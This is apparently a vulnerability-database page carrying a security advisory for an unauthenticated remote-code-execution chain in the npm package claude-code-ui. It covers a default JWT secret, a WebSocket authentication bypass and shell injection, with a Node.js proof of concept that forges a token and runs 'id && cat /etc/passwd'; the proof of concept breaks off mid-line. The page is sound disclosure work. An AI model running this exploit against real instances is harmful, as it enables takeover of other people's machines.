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Vulnerabilities · 2026

CVE-2026-31975
Npm vulnerability

# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection Download: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip) ##  Submission Info | Field | Value | |-------|-------| | **Package** | `@siteboon/claude-code-ui` | | **Ecosystem** | npm | | **Affected versions** | `<= 1.24.0` (latest) | | **Severity** | Critical | | **CVSS Score** | 9.8 | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-1188, CWE-287, CWE-78 | | **Reported** | 2026-03-02 | | **Researcher** | Ethan-Yang (OPCIA) | --- ## Summary Three chained vulnerabilities allow **unauthenticated remote code execution** on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required. The root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret **(CWE-1188)** with a WebSocket authentication function that skips database user validation **(CWE-287)**. --- ## Vulnerability Details ### 1. Insecure Default JWT Secret — `CWE-1188` **File**: `server/middleware/auth.js`, line 6 ```javascript const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production'; ``` The server uses an environment variable for `JWT_SECRET`, but falls back to a well-known default value when the variable is not set. Critically, `JWT_SECRET` is **not included in `.env.example`**, so the majority of users deploy without setting it, leaving the fallback value in effect. Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens. --- ### 2. WebSocket Authentication Skips Database Validation — `CWE-287` **File**: `server/middleware/auth.js`, lines 82–108 `authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check whether the `userId` in the payload actually exists in the database — unlike `authenticateToken()` which is used for REST endpoints and does perform this check: ```javascript // authenticateWebSocket() — VULNERABLE const decoded = jwt.verify(token, JWT_SECRET); return decoded; // ← userId never verified against DB // authenticateToken() — CORRECT (REST endpoints) const decoded = jwt.verify(token, JWT_SECRET); const user = userDb.getUserById(decoded.userId); // ← DB check present if (!user) return res.status(401)... ``` A forged token with a non-existent `userId` passes WebSocket authentication, bypassing access control entirely. --- ### 3. OS Command Injection via WebSocket Shell — `CWE-78` **File**: `server/index.js`, line 1179 ```javascript shellCommand = `cd "${projectPath}" && ${initialCommand}`; ``` Both `projectPath` and `initialCommand` are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution. A secondary injection vector exists at line 1257 via unsanitized `sessionId`: ```javascript shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`; ``` --- ## Proof of Concept **Requirements**: Node.js, `jsonwebtoken`, `ws` ```javascript import jwt from 'jsonwebtoken'; import WebSocket from 'ws'; // Step 1: Sign a token with the publicly known default secret const token = jwt.sign( { userId: 1337, username: 'attacker' }, 'claude-ui-dev-secret-change-in-production' ); // Step 2: Connect to /shell WebSocket — auth passes because // authenticateWebSocket() does not verify userId in DB const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`); ws.on('open', () => { // Step 3: initialCommand is injected directly into bash ws.send(JSON.stringify({ type: 'init', projectPath: '/tmp', initialCommand: 'id && cat /etc/passwd', isPlainShell: true, hasSession: false })); }); ws.on('message', (data) => { const msg = JSON.parse(data); if (msg

High priority: this vulnerability is rated critical and can be attacked over the network without a login.

Affected products

Npm. The exact versions are in the references.

What to do now

  • Check your exposureFind out whether Npm runs anywhere in your environment, including systems of suppliers.
  • UpdateInstall the version in which the vendor fixed the vulnerability. The references lead to the advisory.
  • Limit access until thenIf you cannot update at once, take the system off the internet or restrict who can reach it.

References

Data: CVE list and the NVD. This product uses data from the NVD API but is not endorsed or certified by the NVD.